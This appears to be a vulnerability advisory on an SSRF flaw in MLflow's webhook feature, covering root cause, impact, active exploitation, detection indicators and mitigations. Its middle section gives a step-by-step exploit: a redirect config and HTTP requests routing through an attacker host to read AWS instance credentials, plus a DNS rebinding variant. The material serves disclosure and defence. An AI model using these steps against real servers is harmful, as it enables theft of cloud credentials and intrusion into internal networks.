CVE-2026-64849: 
NixOS vulnerability analysis and mitigation

CVE-2026-64849 is an unauthenticated full-read Server-Side Request Forgery (SSRF) vulnerability in MLflow's webhook delivery mechanism, affecting all versions prior to 3.15.0. The flaw allows unauthenticated attackers to make the MLflow tracking server issue HTTP requests to arbitrary internal, loopback, or cloud metadata endpoints (e.g., AWS IMDS at 169.254.169.254) and read the full response body. It was privately reported on 2026-06-12 by @freeman-bb and independently discovered by @AUTHENSOR on 2026-06-26; the GitHub Security Advisory (GHSA-7gwp-5pfp-969j) was published on 2026-08-17 and the CVE was assigned shortly after. The vulnerability carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, Feedly).

The root cause is a Time-of-Check to Time-of-Use (TOCTOU) race condition in MLflow's SSRF guard (CWE-918). The _validate_webhook_url() function in mlflow/utils/validation.py resolves the webhook hostname via socket.getaddrinfo() and verifies each resolved IP is globally routable (ip.is_global), but discards the resolved IP — it returns None on success. The subsequent session.post(webhook.url) in mlflow/webhooks/delivery.py then independently re-resolves the hostname, creating a window for DNS rebinding: an attacker-controlled DNS server can return a public IP during validation and a private/link-local IP (e.g., 169.254.169.254 or 127.0.0.1) during the actual request. A second bypass vector exists via HTTP redirect-following: the delivery session does not set allow_redirects=False, so an attacker's allow-listed HTTPS host can return a 302 Location: http://169.254.169.254/... redirect that MLflow follows without re-validating the target. Because the POST /api/2.0/mlflow/webhooks/{id}/test endpoint reflects response_status and response_body back to the caller, this becomes a full-read SSRF. The webhook API is unauthenticated on a default MLflow server (no auth plugin loaded) (GitHub Advisory, GitHub Issue #24179).

An unauthenticated remote attacker can force the MLflow server to make HTTP requests to any reachable internal endpoint and read the full response, including HTTP status codes and body content. The most critical impact is cloud credential theft: on AWS, the attacker can retrieve IAM role credentials from http://169.254.169.254/latest/meta-data/iam/security-credentials/, enabling lateral movement into cloud infrastructure with whatever permissions the MLflow server's IAM role holds. Beyond cloud metadata, attackers can probe and read responses from internal-only services (admin panels, databases, internal APIs) behind the network boundary, and via 307/308 redirects can also POST attacker-controlled payloads to internal management endpoints (e.g., Docker daemon, Elasticsearch, Spring Boot Actuator) — enabling blind writes in addition to reads (GitHub Advisory, Feedly).

This vulnerability is being actively exploited in the wild and was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 2026-08-19 (CISA KEV, Security Affairs). Multiple proof-of-concept exploits are publicly available: the official GitHub Security Advisory (GHSA-7gwp-5pfp-969j) contains a complete step-by-step attack sequence with concrete HTTP requests, and GitHub Issue #24179 provides a detailed DNS rebinding reproduction guide (GitHub Advisory, GitHub Issue #24179). A Nuclei detection template was also merged into the ProjectDiscovery nuclei-templates repository. The EPSS score is 0.1641 (16.41%), and NVD's SSVC assessment classifies exploitation as active and the vulnerability as automatable (Feedly). Reports from watchTowr and multiple threat intelligence sources confirm in-the-wild exploitation targeting cloud credential theft (BleepingComputer, GBHackers).

1. Reconnaissance: Identify internet-facing MLflow tracking servers (default port 5000) using Shodan, Censys, or similar tools. Confirm the server is running MLflow < 3.15.0 and that the webhook API is accessible unauthenticated (default configuration with no auth plugin).

2. Set up attacker infrastructure (Redirect bypass): Configure an attacker-controlled HTTPS server with a valid TLS certificate (e.g., via Let's Encrypt) that returns a 302 redirect to the internal target:

location / {
    return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/;
}

3. Create a malicious webhook: Register a webhook pointing to the attacker's public HTTPS host, which passes the _validate_webhook_url() guard:

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: <TARGET>
Content-Type: application/json

{"name":"poc","url":"https://<ATTACKER>/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

Note the returned webhook_id.

4. Trigger the test endpoint to exfiltrate data: Fire the webhook via the unauthenticated /test endpoint; MLflow follows the redirect to the internal metadata service and returns the response body:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: <TARGET>
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

The response contains response_status and response_body with the IAM credentials or internal service data.

5. Alternative — DNS Rebinding: Configure a DNS server for an attacker-controlled domain to return a public IP on the first query (passing validation) and 169.254.169.254 on the second query (used during the actual HTTP request). Create a webhook with this domain URL and trigger delivery via a model registry event or the /test endpoint to achieve the same SSRF outcome (GitHub Advisory, GitHub Issue #24179).

• Network: Outbound HTTP/HTTPS requests from the MLflow server process to 169.254.169.254 (AWS IMDS), 169.254.169.254:80, or other cloud metadata endpoints (e.g., metadata.google.internal, 169.254.169.254/latest/meta-data/); outbound connections to attacker-controlled domains that immediately redirect to internal IPs.
• Network: Unusual POST requests to /api/2.0/mlflow/webhooks (webhook creation) followed by POST requests to /api/2.0/mlflow/webhooks/<id>/test from external or unexpected source IPs.
• Logs: MLflow access logs showing repeated unauthenticated calls to POST /api/2.0/mlflow/webhooks and POST /api/2.0/mlflow/webhooks/*/test endpoints, especially from external IPs.
• Logs: HTTP 302 redirect responses in MLflow server logs where the Location header points to RFC1918, loopback, or link-local addresses (127.0.0.1, 10.x.x.x, 192.168.x.x, 169.254.x.x).
• Cloud: Unexpected AWS IAM credential usage (access key IDs associated with the MLflow server's instance role) from unusual source IPs or geographic locations; CloudTrail events showing API calls from the MLflow server's role at unusual times.
• File System / Process: New webhook entries in the MLflow database (mlflow.db or configured SQL store) with URLs pointing to external domains not previously used in the environment.

Primary remediation: Upgrade MLflow to version 3.15.0 or later, which introduces SSRFProtectedHTTPAdapter — a custom urllib3 HTTP adapter that validates the peer IP of the actual connected socket immediately after TCP connect and before any TLS handshake or HTTP data exchange, closing both the redirect-follow and DNS rebinding bypass vectors (MLflow v3.15.0 Release, Fix PR #24258).

Workarounds if immediate patching is not possible:

• Restrict network access to POST /api/2.0/mlflow/webhooks and POST /api/2.0/mlflow/webhooks/{id}/test endpoints to trusted internal networks only via firewall rules or reverse proxy ACLs.
• Enable MLflow's authentication plugin (mlflow server --app-name basic-auth) to require authentication for webhook operations, reducing the unauthenticated attack surface.
• Block outbound connections from the MLflow server to cloud metadata IP ranges (169.254.169.254/32) and RFC1918 address space at the network/firewall level.
• Set the environment variable MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=false (already the default) and ensure it has not been overridden.

Red Hat and OpenDataHub have also backported the fix for their MLflow distributions (GitHub PR #24258).

The vulnerability received significant attention from the security community, with CISA issuing an alert on 2026-08-19 adding CVE-2026-64849 to its KEV catalog and urging federal agencies to patch by the required deadline (CISA Alert). BleepingComputer, The Hacker News, SecurityWeek, and GBHackers all covered the active exploitation, with The Hacker News reporting on attackers exploiting the flaw to steal cloud credentials and secrets (BleepingComputer, The Hacker News). WatchTowr publicly confirmed observing in-the-wild exploitation activity via LinkedIn. The security community noted the irony that MLflow had previously added an SSRF guard (PR #20747 in version 3.10.0) that was itself bypassable, and researchers highlighted this as a case study in incomplete SSRF mitigations. Nuclei templates for detection were contributed to ProjectDiscovery's repository within hours of disclosure, reflecting rapid community response (Feedly).